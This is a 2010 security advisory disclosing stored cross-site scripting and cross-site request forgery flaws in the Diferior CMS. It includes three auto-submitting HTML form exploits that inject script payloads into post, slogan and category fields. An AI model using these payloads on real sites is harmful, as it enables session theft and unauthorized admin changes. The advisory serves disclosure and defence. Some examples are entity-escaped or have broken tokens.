Multiple Vulnerabilities in Diferior

2010-11-25T00:00:00
ID HTB22720
Type htbridge
Reporter High-Tech Bridge
Modified 2010-11-25T00:00:00

Description

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Diferior which could be exploited to perform script insertion and cross-site request forgery attacks.

1) Script insertion vulnerability in Diferior: CVE-2010-4850
Input passed to the "post_content" parameter in views/post.php is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data. Successful exploitation requires that victim is able to edit posts.
Exploitation example:
<form action="http://host/post/edit/2/p1.html" method="post" enctype="multipart/form-data" name="main">
<input type="hidden" name="category" value="sample-category-1">
<input type="hidden" name="header" value="Sample post">
<input type="hidden" name="subheader" value="Sample subheader">
<input type="hidden" name="post_content" value='html<script>alert(document.cookie)</script>'>
<input type="hidden" name="schedule" value="now">
<input type="hidden" name="scheduler" value="10/11/23">
<input type="hidden" name="Date_Year" value="2010">
<input type="hidden" name="Date_Month" value="11">
<input type="hidden" name="Date_Day" value="22">
<input type="hidden" name="Time_Hour" value="20">
<input type="hidden" name="Time_Minute" value="47">
<input type="hidden" name="Time_Second" value="23">
<input type="hidden" name="usehtml" value="html">
</form>
<script>
document.main.submit();
</script>

2) Cross-site request forgery (CSRF) vulnerabilities in Diferior: CVE-2010-4850
2.1 The vulnerability exists due to insufficient validation of the request origin in views/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings (e.g. website slogan, title, timezone etc.). Due to insufficient sanitation of input data in the “slogan” parameter it is also possible to store and execute arbitrary HTML and script code in users browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator. Exploitation example: &lt;form action="http://host/admin/site/2.html" method="post" name="main"&gt; &lt;input type="hidden" name="title" value="Site Title"&gt; &lt;input type="hidden" name="slogan" value='Powered by Diferior"&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;'&gt; &lt;input type="hidden" name="timezone" value="GMT"&gt; &lt;input type="hidden" name="cron" value="php"&gt; &lt;/form&gt; &lt;script&gt; document.main.submit(); &lt;/script&gt; 2.2 The vulnerability exists due to insufficient validation of the request origin in views/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create categories. Due to insufficient sanitation of input data in the "subcatname" and "description" parameters it is also possible to store and execute arbitrary HTML and script code in users browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/admin/forum/create_sub.html" method="post" name="main">
<input type="hidden" name="cat" value="1">
<input type="hidden" name="subcatname" value='subname"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" value='description"><script>alert(document.cookie)</script>'>
</form>
<scr ipt>
document.main.subm it();
</script>